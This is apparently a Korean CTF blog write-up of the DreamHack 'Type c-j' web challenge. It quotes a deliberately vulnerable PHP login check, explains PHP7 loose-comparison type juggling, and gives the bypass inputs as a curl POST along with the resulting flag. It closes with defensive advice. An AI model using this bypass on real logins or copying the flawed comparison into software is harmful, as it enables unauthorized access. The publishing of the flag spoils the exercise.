[๐Ÿฅ‰ Bronze 2] PHP ๋А์Šจํ•œ ๋น„๊ต๋กœ ๋กœ๊ทธ์ธ ์šฐํšŒ โ€” DreamHack Type c-j ํ’€์ด

2026-07-08ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] PHP ๋А์Šจํ•œ ๋น„๊ต๋กœ ๋กœ๊ทธ์ธ ์šฐํšŒ โ€” DreamHack Type c-j ํ’€์ด

check.php ๋Š” (int)$input == $target ํ˜•ํƒœ์˜ ๋А์Šจํ•œ ๋น„๊ต(==)๋กœ ID/PW ๋ฅผ ๊ฒ€์‚ฌํ•œ๋‹ค. PHP7 ์—์„œ ์ •์ˆ˜์™€ ๋ฌธ์ž์—ด์„ ๋น„๊ตํ•˜๋ฉด ๋ฌธ์ž์—ด์ด ์ˆซ์ž๋กœ ๋ณ€ํ™˜๋œ๋‹ค. sha1("1")์€ 356 ์œผ๋กœ, ๋žœ๋ค ID ๋Š” ๋Œ€๊ฐœ 0 ์œผ๋กœ ํŒŒ์‹ฑ๋˜๋ฏ€๋กœ input1=0000000000, input2=356aaaaa ๋กœ ๋กœ๊ทธ์ธ์ด ๋šซ๋ ค ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Type c-j

๋ถ„๋ฅ˜: Web (PHP Type Juggling)

๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2

FLAG: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Type c-j
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Web
์ œ๊ณต ํŒŒ์ผindex.php, check.php, flag.php
์„œ๋ฒ„http://host3.dreamhack.games:PORT/ (PHP)
ํ•ต์‹ฌ ๊ธฐ๋ฒ•PHP Type Juggling (๋А์Šจํ•œ ๋น„๊ต ==)

๋ฌธ์ œ๋ช… "Type c-j" ๋Š” Type Confusion / type Juggling ์˜ ์•ฝ์ž๋‹ค. PHP์˜ ๋А์Šจํ•œ ๋น„๊ต(==)๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅธ ํƒ€์ž…์„ ์–ต์ง€๋กœ ๋งž์ถฐ ๋น„๊ตํ•˜๋ฉด์„œ ์ƒ๊ธฐ๋Š” ๊ณ ์ „ ์›น ์ทจ์•ฝ์ ์„ ๋…ธ๋ฆฐ๋‹ค.

์ ‘์†ํ•˜๋ฉด ID/PW ๋ฅผ ๋„ฃ๋Š” ๋‹จ์ˆœํ•œ ๋กœ๊ทธ์ธ ํผ์ด ๋œฌ๋‹ค.

Type c-j ๋žœ๋”ฉ ํŽ˜์ด์ง€: ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games ๊ฐ€ ๋ณด์ด๊ณ , "Enter the correct ID & Password" ์•„๋ž˜ IdยทPassword ์ž…๋ ฅ์ฐฝ๊ณผ ์ œ์ถœ ๋ฒ„ํŠผ์ด ์žˆ๋Š” ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๋กœ๊ทธ์ธ ํผ
Type c-j ๋žœ๋”ฉ ํŽ˜์ด์ง€: ์ฃผ์†Œ์ฐฝ์— host3.dreamhack.games ๊ฐ€ ๋ณด์ด๊ณ , "Enter the correct ID & Password" ์•„๋ž˜ IdยทPassword ์ž…๋ ฅ์ฐฝ๊ณผ ์ œ์ถœ ๋ฒ„ํŠผ์ด ์žˆ๋Š” ๋ถ€ํŠธ์ŠคํŠธ๋žฉ ๋กœ๊ทธ์ธ ํผ

1. ์†Œ์Šค ๋ถ„์„ โ€” check.php ์˜ ๊ธ‰์†Œ

ํผ์€ /check.php ๋กœ POST ํ•œ๋‹ค. ๊ฒ€์ฆ ๋กœ์ง์„ ๋ณด๋ฉด ์ทจ์•ฝ์ ์ด ์ •์งํ•˜๊ฒŒ ๋“œ๋Ÿฌ๋‚œ๋‹ค.

#!/usr/bin/env bash
# check.php ์ทจ์•ฝ์  โ€” (int) ์บ์ŠคํŒ… + ๋А์Šจํ•œ ๋น„๊ต(==)
cd extracted
echo "== check.php ํ•ต์‹ฌ ๋กœ์ง =="
grep -nE '\$id = getRandStr|\$pw = sha1|input_id = |input_pw = |\(int\)\$input|strlen\(\$input|echo \$flag' check.php \
 | sed -E 's/^[0-9]+:[[:space:]]*//'
echo
echo "์ •๋ฆฌ:"
echo "  \$id = ๋žœ๋ค 10์ž ์˜์ˆซ์ž,   \$pw = sha1(\"1\") = 356a192b...(๊ณ ์ •)"
echo "  ID ํ†ต๊ณผ:  (int)\$input_id == \$id   &&  strlen(\$input_id) === 10"
echo "  PW ํ†ต๊ณผ:  (int)\$input_pw == \$pw   &&  strlen(\$input_pw) === 8"
echo
echo "โ†’ ์ขŒ๋ณ€์„ (int)๋กœ ์บ์ŠคํŒ…ํ•ด '์ •์ˆ˜ == ๋ฌธ์ž์—ด' ๋А์Šจ๋น„๊ต. ๊ธธ์ด๋งŒ ๊ณ ์ • โ†’ type juggling ์ทจ์•ฝ"
bash cap_source.sh

check.php ํ•ต์‹ฌ ๋กœ์ง: id๋Š” getRandStr()๋กœ ๋žœ๋ค 10์ž ์˜์ˆซ์ž, pw๋Š” sha1("1")๋กœ ๊ณ ์ •, ์ž…๋ ฅ์€ POST input1ยทinput2, ์กฐ๊ฑด์€ (int)input_id == id ์™€ strlen 10, (int)input_pw == pw ์™€ strlen 8 ์„ ๋งŒ์กฑํ•˜๋ฉด flag ์ถœ๋ ฅ
check.php ํ•ต์‹ฌ ๋กœ์ง: id๋Š” getRandStr()๋กœ ๋žœ๋ค 10์ž ์˜์ˆซ์ž, pw๋Š” sha1("1")๋กœ ๊ณ ์ •, ์ž…๋ ฅ์€ POST input1ยทinput2, ์กฐ๊ฑด์€ (int)input_id == id ์™€ strlen 10, (int)input_pw == pw ์™€ strlen 8 ์„ ๋งŒ์กฑํ•˜๋ฉด flag ์ถœ๋ ฅ

$id = getRandStr();      // ๋žœ๋ค 10์ž ์˜์ˆซ์ž (0-9a-zA-Z)
$pw = sha1("1");         // = "356a192b7913b04c..."  (๊ณ ์ •)
 
if((int)$input_id == $id && strlen($input_id) === 10){       // ID ๊ฒ€์‚ฌ
    if((int)$input_pw == $pw && strlen($input_pw) === 8){    // PW ๊ฒ€์‚ฌ
        echo $flag;
    }
}

๋‘ ๊ฒ€์‚ฌ ๋ชจ๋‘ (int)$์ž…๋ ฅ == $์ •๋‹ต + ๊ธธ์ด ๊ณ ์ • ๊ตฌ์กฐ๋‹ค. ์ขŒ๋ณ€๋งŒ (int)๋กœ ์บ์ŠคํŒ…ํ•˜๊ณ  ์šฐ๋ณ€(์ •๋‹ต)์€ ๋ฌธ์ž์—ด ๊ทธ๋Œ€๋กœ ๋‘๋Š”๋ฐ, ์ด "์ •์ˆ˜ == ๋ฌธ์ž์—ด" ๋น„๊ต๊ฐ€ ํ•จ์ •์ด๋‹ค.

2. ์ทจ์•ฝ์  ์›๋ฆฌ โ€” PHP ๋А์Šจํ•œ ๋น„๊ต

PHP7์—์„œ ์ •์ˆ˜์™€ ๋ฌธ์ž์—ด์„ == ๋กœ ๋น„๊ตํ•˜๋ฉด ๋ฌธ์ž์—ด์„ ์ˆซ์ž๋กœ ๋ณ€ํ™˜ํ•ด์„œ ๋น„๊ตํ•œ๋‹ค. ์ด๋•Œ ๋ฌธ์ž์—ด์€ ์„ ํ–‰ ์ˆซ์ž๊นŒ์ง€๋งŒ ํŒŒ์‹ฑ๋œ๋‹ค("356a192b" โ†’ 356, "abc" โ†’ 0).

PHP Type Juggling ์›๋ฆฌ๋„: PW ์šฐํšŒ๋Š” sha1("1")์ด 356a192b...๋กœ ์ˆซ์ž ํŒŒ์‹ฑ์‹œ 356์ด๋ผ input2=356aaaaa(int 356, len 8)๋กœ ํ†ต๊ณผ, ID ์šฐํšŒ๋Š” ๋žœ๋ค id๊ฐ€ ๋ฌธ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉด int 0์ด๋ผ input1=0000000000(int 0, len 10)๋กœ ํ†ต๊ณผ, PHP7์€ 0=="abc"๊ฐ€ true์ด์ง€๋งŒ PHP8์€ false๋กœ ๊ทœ์น™์ด ๋ฐ”๋€œ
PHP Type Juggling ์›๋ฆฌ๋„: PW ์šฐํšŒ๋Š” sha1("1")์ด 356a192b...๋กœ ์ˆซ์ž ํŒŒ์‹ฑ์‹œ 356์ด๋ผ input2=356aaaaa(int 356, len 8)๋กœ ํ†ต๊ณผ, ID ์šฐํšŒ๋Š” ๋žœ๋ค id๊ฐ€ ๋ฌธ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉด int 0์ด๋ผ input1=0000000000(int 0, len 10)๋กœ ํ†ต๊ณผ, PHP7์€ 0=="abc"๊ฐ€ true์ด์ง€๋งŒ PHP8์€ false๋กœ ๊ทœ์น™์ด ๋ฐ”๋€œ

์ด ๊ทœ์น™์œผ๋กœ ๋‘ ๊ฒ€์‚ฌ๋ฅผ ๊ฐ๊ฐ ๋šซ๋Š”๋‹ค.

  • PW: $pw = sha1("1") = "356a192b...". ์ˆซ์ž๋กœ ํŒŒ์‹ฑํ•˜๋ฉด 356. ๋”ฐ๋ผ์„œ input2 = "356aaaaa" (โ†’ (int)=356, ๊ธธ์ด 8) ๋ฅผ ๋„ฃ์œผ๋ฉด 356 == 356 ์œผ๋กœ ํ†ต๊ณผ.
  • ID: $id ๋Š” ๋žœ๋ค 10์ž ์˜์ˆซ์ž. ์„ ํ–‰์ด ๋ฌธ์ž๋ฉด (int)$id = 0. ๋”ฐ๋ผ์„œ input1 = "0000000000" (โ†’ (int)=0, ๊ธธ์ด 10) ๋ฅผ ๋„ฃ์œผ๋ฉด 0 == 0 ์œผ๋กœ ํ†ต๊ณผ. (๋“œ๋ฌผ๊ฒŒ $id ๊ฐ€ ์ˆซ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉด ์‹คํŒจ โ†’ ์žฌ์‹œ๋„)

๋กœ์ปฌ PHP๋กœ ์ด ๋™์ž‘์„ ์ง์ ‘ ํ™•์ธํ–ˆ๋‹ค.

PHP CLI ๋กœ type juggling ์„ ์ง์ ‘ ๊ฒ€์ฆํ•œ ํ™”๋ฉด โ€” sha1("1") ์€ ์ •์ˆ˜๋กœ 356, "356aaaaa" ๋„ 356 ์— ๊ธธ์ด 8, "0000000000" ์€ 0 ์— ๊ธธ์ด 10 ์ด๊ณ  PHP7 ๊ณผ PHP8 ์˜ ๋А์Šจ๋น„๊ต ๊ทœ์น™ ์ฐจ์ด๊นŒ์ง€ ์ฐํžŒ๋‹ค
PHP CLI ๋กœ type juggling ์„ ์ง์ ‘ ๊ฒ€์ฆํ•œ ํ™”๋ฉด โ€” sha1("1") ์€ ์ •์ˆ˜๋กœ 356, "356aaaaa" ๋„ 356 ์— ๊ธธ์ด 8, "0000000000" ์€ 0 ์— ๊ธธ์ด 10 ์ด๊ณ  PHP7 ๊ณผ PHP8 ์˜ ๋А์Šจ๋น„๊ต ๊ทœ์น™ ์ฐจ์ด๊นŒ์ง€ ์ฐํžŒ๋‹ค

3. ์ต์Šคํ”Œ๋กœ์ž‡

input1=0000000000, input2=356aaaaa ๋กœ POST ํ•˜๋ฉด ๋œ๋‹ค. $id ๋žœ๋ค์„ฑ ๋•Œ๋ฌธ์— ์‹คํŒจํ•  ์ˆ˜ ์žˆ์–ด ์„ฑ๊ณตํ•  ๋•Œ๊นŒ์ง€ ์žฌ์‹œ๋„ํ•˜๋„๋ก ํ–ˆ์ง€๋งŒ, ๋Œ€๊ฐœ ํ•œ ๋ฒˆ์— ํ†ต๊ณผํ•œ๋‹ค.

curl ์ต์Šคํ”Œ๋กœ์ž‡: input1=0000000000(len10 int0), input2=356aaaaa(len8 int356) ๋กœ POST ํ•˜๋‹ˆ ์ฒซ ์‹œ๋„์—์„œ ID pass + PW pass ๋กœ FLAG ์ถœ๋ ฅ
curl ์ต์Šคํ”Œ๋กœ์ž‡: input1=0000000000(len10 int0), input2=356aaaaa(len8 int356) ๋กœ POST ํ•˜๋‹ˆ ์ฒซ ์‹œ๋„์—์„œ ID pass + PW pass ๋กœ FLAG ์ถœ๋ ฅ

curl -s -X POST http://host3.dreamhack.games:PORT/check.php \
     --data-urlencode 'input1=0000000000' \
     --data-urlencode 'input2=356aaaaa' | grep -oE 'DH\{[^}]*\}'
# DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}

๋ธŒ๋ผ์šฐ์ €์—์„œ ํผ์— ๊ทธ๋Œ€๋กœ ๋„ฃ๊ณ  ์ œ์ถœํ•ด๋„ ๋™์ผํ•˜๊ฒŒ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜จ๋‹ค.

๋ธŒ๋ผ์šฐ์ €์—์„œ ํผ์— input1=0000000000, input2=356aaaaa ๋ฅผ ๋„ฃ๊ณ  ์ œ์ถœํ•œ ๊ฒฐ๊ณผ: ์ฃผ์†Œ์ฐฝ์€ check.php, ํ™”๋ฉด์— "ID pass." ์™€ FLAG DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ‘œ์‹œ๋จ
๋ธŒ๋ผ์šฐ์ €์—์„œ ํผ์— input1=0000000000, input2=356aaaaa ๋ฅผ ๋„ฃ๊ณ  ์ œ์ถœํ•œ ๊ฒฐ๊ณผ: ์ฃผ์†Œ์ฐฝ์€ check.php, ํ™”๋ฉด์— "ID pass." ์™€ FLAG DH ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ‘œ์‹œ๋จ

ํ”Œ๋ž˜๊ทธ: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}

4. ์‚ฝ์งˆ ๊ธฐ๋ก

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” PHP 7 vs 8, ๊ทธ๋ฆฌ๊ณ  ๋žœ๋ค ID ์žฌ์‹œ๋„

์ด ์šฐํšŒ๋Š” PHP ๋ฒ„์ „์— ๋ฏผ๊ฐํ•˜๋‹ค. PHP7 ์€ 0 == "abc" ๊ฐ€ true(๋ฌธ์ž์—ด์„ ์ˆซ์ž 0์œผ๋กœ ๋ณ€ํ™˜)์ง€๋งŒ, PHP8 ์€ ๊ทœ์น™์ด ๋ฐ”๋€Œ์–ด false(์ •์ˆ˜๋ฅผ ๋ฌธ์ž์—ด "0"์œผ๋กœ ๋ฐ”๊ฟ” ๋น„๊ต)๋‹ค. ๋กœ์ปฌ PHP8.4 ๋กœ ๋ฐ๋ชจ๋ฅผ ์งœ๋‹ค๊ฐ€ 0 == "abc" ๊ฐ€ false ๋กœ ๋‚˜์™€์„œ ์ž ๊น ๊ฐธ์›ƒํ–ˆ๋Š”๋ฐ, ๋ฌธ์ œ ์„œ๋ฒ„๊ฐ€ PHP7 ๊ณ„์—ด์ด๋ผ ์‹ค์ œ ์ต์Šค๋Š” ์ •์ƒ ๋™์ž‘ํ–ˆ๋‹ค. ๋ฐ๋ชจ๋Š” ๋ฒ„์ „ ๋ฌด๊ด€ํ•œ intval()/(int) ํŒŒ์‹ฑ์œผ๋กœ ๋ณด์—ฌ์ฃผ๊ณ , ๋ฒ„์ „ ์ฐจ์ด๋Š” ๋”ฐ๋กœ ๋ช…์‹œํ–ˆ๋‹ค.

๋˜ ํ•˜๋‚˜๋Š” ๋žœ๋ค $id. ๊ฐ’์ด ์ˆซ์ž๋กœ ์‹œ์ž‘ํ•˜๋ฉด (int)$id โ‰  0 ์ด๋ผ input1=0000000000 ์ด ์•ˆ ๋จนํžŒ๋‹ค. ํ™•๋ฅ ์€ ๋‚ฎ์œผ๋‹ˆ(์„ ํ–‰์ด ๋ฌธ์žยท0์ผ ํ™•๋ฅ  โ‰ˆ 85%) ์‹คํŒจํ•˜๋ฉด ์žฌ์‹œ๋„ํ•˜๋ฉด ๋œ๋‹ค. sleep(1) ์ด ์žˆ์–ด ์กฐ๊ธˆ ๋А๋ฆด ๋ฟ. ์ด๋ฒˆ์—” ์ฒซ ์‹œ๋„์— ํ†ต๊ณผํ–ˆ๋‹ค.

5. ๋ฐฉ์–ด ๊ด€์  โ€” ๋А์Šจํ•œ ๋น„๊ต๋ฅผ ์“ฐ์ง€ ๋ง ๊ฒƒ

ํ•œ ์ค„์งœ๋ฆฌ ์‹ค์ˆ˜์ง€๋งŒ ๋กœ๊ทธ์ธ ์ „์ฒด๊ฐ€ ๋šซ๋ ธ๋‹ค. ๊ตํ›ˆ์€ ๋ถ„๋ช…ํ•˜๋‹ค.

  • == ๋Œ€์‹  === ๋ฅผ ์“ฐ๋ผ. ์—„๊ฒฉ ๋น„๊ต(===)๋Š” ํƒ€์ž…๊นŒ์ง€ ํ™•์ธํ•˜๋ฏ€๋กœ 0 === "abc", 356 === "356a192b..." ๋ชจ๋‘ false ๋‹ค. ํƒ€์ž… ์ €๊ธ€๋ง์ด ์›์ฒœ ์ฐจ๋‹จ๋œ๋‹ค.
  • ๋น„๋ฐ€๊ฐ’์„ (int) ๋กœ ์บ์ŠคํŒ…ํ•˜์ง€ ๋ง๋ผ. ์ •๋‹ต์„ ์ •์ˆ˜๋กœ ๋ฐ”๊ฟ” ๋น„๊ตํ•˜๋Š” ์ˆœ๊ฐ„, ๋ฌธ์ž์—ด์˜ ์„ ํ–‰ ์ˆซ์ž๋งŒ ๋งž์œผ๋ฉด ํ†ต๊ณผํ•˜๋Š” ๊ตฌ๋ฉ์ด ์ƒ๊ธด๋‹ค.
  • ๋ฌธ์ž์—ด์€ ๋ฌธ์ž์—ด๋‹ต๊ฒŒ ๋น„๊ตํ•˜๋ผ. ํ•ด์‹œยทํ† ํฐ ๊ฐ™์€ ๋ฌธ์ž์—ด ๋น„๊ต๋Š” hash_equals() ๊ฐ™์€ ์ƒ์ˆ˜์‹œ๊ฐ„ ํ•จ์ˆ˜๋กœ ์ •ํ™•ํžˆ ๋น„๊ตํ•˜๋Š” ๊ฒŒ ์•ˆ์ „ํ•˜๋‹ค.
  • ์•Œ๋ ค์ง„ ๋งค์ง ํ•ด์‹œ ์ฃผ์˜. 0e... ๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ•ด์‹œ๊ฐ€ ๋А์Šจ๋น„๊ต์—์„œ 0(์ง€์ˆ˜ํ‘œ๊ธฐ)๋กœ ์ทจ๊ธ‰๋ผ "0e123" == "0e456" ๊ฐ€ ์ฐธ์ด ๋˜๋Š” "๋งค์ง ํ•ด์‹œ" ๋ฅ˜๋„ ๊ฐ™์€ ๋ฟŒ๋ฆฌ์˜ ๋ฌธ์ œ๋‹ค.

์ •๋ฆฌํ•˜๋ฉด "๋А์Šจํ•œ ๋น„๊ต(==) + ์ •์ˆ˜ ์บ์ŠคํŒ… + ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ์ •๋‹ต(sha1 ์ƒ์ˆ˜, 0์œผ๋กœ ํŒŒ์‹ฑ๋˜๋Š” ๋žœ๋ค๊ฐ’)" ์ด ๊ฒน์ณ ์ธ์ฆ์ด ๋ฌด๋ ฅํ™”๋๋‹ค. PHP์—์„œ ์ธ์ฆยท๊ถŒํ•œ ๋น„๊ต๋Š” ๋ฐ˜๋“œ์‹œ ์—„๊ฒฉ ๋น„๊ต๋กœ ํ•ด์•ผ ํ•œ๋‹ค.


FLAG: DH{33f2cac27f2cd193c31ac34b1b8bc99e2fbb731bd8a94c512c17d13dbf80794a}

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 4] vim ์Šค์™‘์œผ๋กœ ์†Œ์Šค๋ฅผ ์ค๊ณ  PHP ๋งค์ง ํ•ด์‹œ๋กœ admin ๋กœ๊ทธ์ธ โ€” DreamHack [wargame.kr] jff3_magic ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] vim ์Šค์™‘์œผ๋กœ ์†Œ์Šค๋ฅผ ์ค๊ณ  PHP ๋งค์ง ํ•ด์‹œ๋กœ admin ๋กœ๊ทธ์ธ โ€” DreamHack [wargame.kr] jff3_magic ํ’€์ด

๋ฐฐํฌ ํŒŒ์ผ์ด ํ•˜๋‚˜๋„ ์—†๋Š” ๋ธ”๋ž™๋ฐ•์Šค ์›น ๋ฌธ์ œ. ๋ฉ”์ธ ํŽ˜์ด์ง€ alert ์ด ํ˜๋ฆฐ "hint : swp" ํ•œ ์ค„์—์„œ vim ์Šค์™‘ ํŒŒ์ผ์„ ์ฃผ์›Œ ์†Œ์Šค๋ฅผ ๋ณต๊ตฌํ•˜๊ณ , andยทorยทunion ์„ ์ „๋ถ€ ๋ง‰๋Š” ์ž์ฒด ๋ฐฉํ™”๋ฒฝ์„ HAVING + REGEXP ๋กœ ์šฐํšŒํ•ด admin ์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๋ฅผ ํ•œ ๊ธ€์ž์”ฉ ๋ฝ‘์•˜๋‹ค. ๊ทธ ํ•ด์‹œ๊ฐ€ 0e ๋กœ ์‹œ์ž‘ํ•˜๋Š” ๋งค์ง ํ•ด์‹œ๋ผ PHP ์˜ ๋А์Šจํ•œ ๋น„๊ต ํ•˜๋‚˜๋กœ ๋กœ๊ทธ์ธ์ด ๋šซ๋ฆฐ๋‹ค.
#dreamhack#ctf#web+6
2026-08-14#dreamhack +5
[๐Ÿฅ‰ Bronze 2] true๋Š” ๋ชจ๋“  ๋ฌธ์ž์—ด๊ณผ ๊ฐ™๋‹ค โ€” DreamHack [wargame.kr] type confusion ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] true๋Š” ๋ชจ๋“  ๋ฌธ์ž์—ด๊ณผ ๊ฐ™๋‹ค โ€” DreamHack [wargame.kr] type confusion ํ’€์ด

"Simple Compare Challenge. hint? you can see the title of this challenge. :D" ์†Œ์Šค๋„ ์—†์ด ๋”ฑ ์ด ํ•œ ์ค„์ด ํžŒํŠธ๋กœ ์ฃผ์–ด์ง„๋‹ค. view-source๋กœ ๋“œ๋Ÿฌ๋‚œ PHP ์ฝ”๋“œ๋Š” ์„œ๋ฒ„๋งŒ ์•„๋Š” ๋žœ๋ค ๋ฌธ์ž์—ด๊ณผ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ == ๋กœ ๋น„๊ตํ•˜๋Š” ๊ฒŒ ์ „๋ถ€๋‹ค. ๊ฐ’์„ ๋งžํžˆ๋Š” ๋ฌธ์ œ๊ฐ€ ์•„๋‹ˆ๋ผ, PHP๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅธ ํƒ€์ž…์„ ๋น„๊ตํ•  ๋•Œ ๊ฐ’ ๋Œ€์‹  ํƒ€์ž…์œผ๋กœ ์Šน๋ถ€๊ฐ€ ๊ฐˆ๋ฆฐ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์ด์šฉํ•˜๋Š” ๋ฌธ์ œ์˜€๋‹ค.
#dreamhack#ctf#web+3
2026-07-20#dreamhack +5
[๐Ÿฅ‰ Bronze 1] PHP7 ํƒ€์ž… ์ €๊ธ€๋ง ๋‘ ๋ฐฉ์œผ๋กœ ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ โ€” DreamHack easy-login ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] PHP7 ํƒ€์ž… ์ €๊ธ€๋ง ๋‘ ๋ฐฉ์œผ๋กœ ๊ด€๋ฆฌ์ž ๋กœ๊ทธ์ธ โ€” DreamHack easy-login ํ’€์ด

๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ OTP๋Š” ๋งค ์š”์ฒญ ์„œ๋ฒ„์—์„œ ๋ฌด์ž‘์œ„๋กœ ์žฌ์ƒ์„ฑ๋ผ ๋ธŒ๋ฃจํŠธํฌ์Šค๊ฐ€ ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. ๋Œ€์‹  ๊ฒ€์ฆ ๋กœ์ง ๋‘ ๊ณณ์ด PHP7 ํŠน์œ ์˜ ๋А์Šจํ•œ ํƒ€์ž… ๋น„๊ต์— ๊ธฐ๋Œ€๊ณ  ์žˆ๋‹ค. otp์— ์ •์ˆ˜ 0์„ ๋„ฃ์œผ๋ฉด "P123456" ๊ฐ™์€ ๋น„์ˆซ์ž ๋ฌธ์ž์—ด๊ณผ 0์ด ๊ฐ™๋‹ค๊ณ  ํŒ์ •๋˜๊ณ , pw์— ๋นˆ ๋ฐฐ์—ด์„ ๋„ฃ์œผ๋ฉด strcmp()๊ฐ€ ํƒ€์ž… ์—๋Ÿฌ๋กœ NULL์„ ๋ฐ˜ํ™˜ํ•ด ํ†ต๊ณผ๋œ๋‹ค. login.php๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  index.php์— ์ง์ ‘ JSON์„ POSTํ•ด ํƒ€์ž…์„ ์™„์ „ํžˆ ํ†ต์ œํ–ˆ๋‹ค.
#dreamhack#ctf#web+3
2026-07-20#dreamhack +5